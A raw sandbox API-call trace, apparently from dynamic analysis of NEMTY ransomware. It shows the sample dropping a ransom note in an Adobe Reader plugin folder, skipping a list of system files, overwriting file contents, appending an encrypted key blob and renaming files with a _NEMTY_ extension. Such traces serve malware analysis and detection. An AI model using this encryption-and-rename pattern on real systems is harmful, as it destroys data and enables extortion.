CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0193.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.295] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.295] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0193.296] CloseHandle (hObject=0x1ec) returned 1 [0193.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0193.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.296] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26da10f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26da10f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0193.297] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0193.297] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26da10f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26da10f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0193.297] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0193.297] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0193.297] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ADMPlugin.apl", cAlternateFileName="ADMPLU~1.APL")) returned 1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2=".") returned 1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="..") returned 1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="...") returned 1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="windows") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="$RECYCLE.BIN") returned 1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="rsa") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="NTDETECT.COM") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="ntldr") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="MSDOS.SYS") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="IO.SYS") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="boot.ini") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="boot.ini") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="AUTOEXEC.BAT") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="ntuser.dat") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="desktop.ini") returned -1 [0193.297] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="CONFIG.SYS") returned -1 [0193.298] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="RECYCLER") returned -1 [0193.298] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="BOOTSECT.BAK") returned -1 [0193.298] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="bootmgr") returned -1 [0193.298] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="programdata") returned -1 [0193.298] lstrcmpiW (lpString1="ADMPlugin.apl", lpString2="appdata") returned -1 [0193.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ADMPlugin.apl", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ADMPlugin.apl", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPlugin.apl", lpUsedDefaultChar=0x0) returned 13 [0193.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ADMPlugin.apl", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ADMPlugin.apl", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPlugin.apl", lpUsedDefaultChar=0x0) returned 13 [0193.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ADMPlugin.apl", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ADMPlugin.apl", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPlugin.apl", lpUsedDefaultChar=0x0) returned 13 [0193.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ADMPlugin.apl", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ADMPlugin.apl", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPlugin.apl", lpUsedDefaultChar=0x0) returned 13 [0193.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.298] Sleep (dwMilliseconds=0x5) [0193.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26ded3b0, dwHighDateTime=0x1d561e8)) [0193.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26ded3b0, dwHighDateTime=0x1d561e8)) [0193.313] GetLastError () returned 0xb7 [0193.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.313] GetLastError () returned 0xb7 [0193.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.313] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.313] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.313] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.313] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="6IOswl8IDjGe5QVs7vVBB11vYa6igIE9P9AARcu8sRC2u/ufiAVtC0AT0pO6XsxN\r\nYXc//kd67xQ+o7LyvfvX0S7rHiTBwsvb005kMTpk5HaJTOgpAW/6gLnOHWBJV/9e\r\nsjng/OkIGN2se89RUX6F9+gIF6KLpvuaXK3W+2rRm0Hn1153cb7eElDhr5HkDDRh\r\n9v7D/O24s+A/Xbu+ycijKB00/XiMkJ17w9yWkPBHGqe87/EfaUIA1+xXbHcec4CK\r\nzqtf7kXGMhFNl+YEao1WyU+peftINm5i8v5qxA3gdRW+IrwAJlKo11c3wDoqvLPj\r\n5QtknVBKwAjJLKGgh6eoxA==\r\n", pcchString=0x653e91c) returned 1 [0193.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\admplugin.apl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.314] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1396224) returned 1 [0193.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0193.314] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.314] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0193.323] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.323] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0193.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.324] SetFilePointer (in: hFile=0x254, lDistanceToMove=1396224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x154e00 [0193.324] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.325] CloseHandle (hObject=0x254) returned 1 [0193.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0193.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0193.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.326] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\admplugin.apl"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\admplugin.apl._nemty_kgobjgd_")) returned 1 [0193.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.327] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26da10f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26da10f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26da10f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0193.327] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0193.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.328] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26da10f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26da10f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26da10f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0193.328] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.329] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cd90, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="sqlite.dll", cAlternateFileName="")) returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2=".") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="..") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="...") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="windows") returned -1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="$RECYCLE.BIN") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="rsa") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="NTDETECT.COM") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="ntldr") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="MSDOS.SYS") returned 1 [0193.329] lstrcmpiW 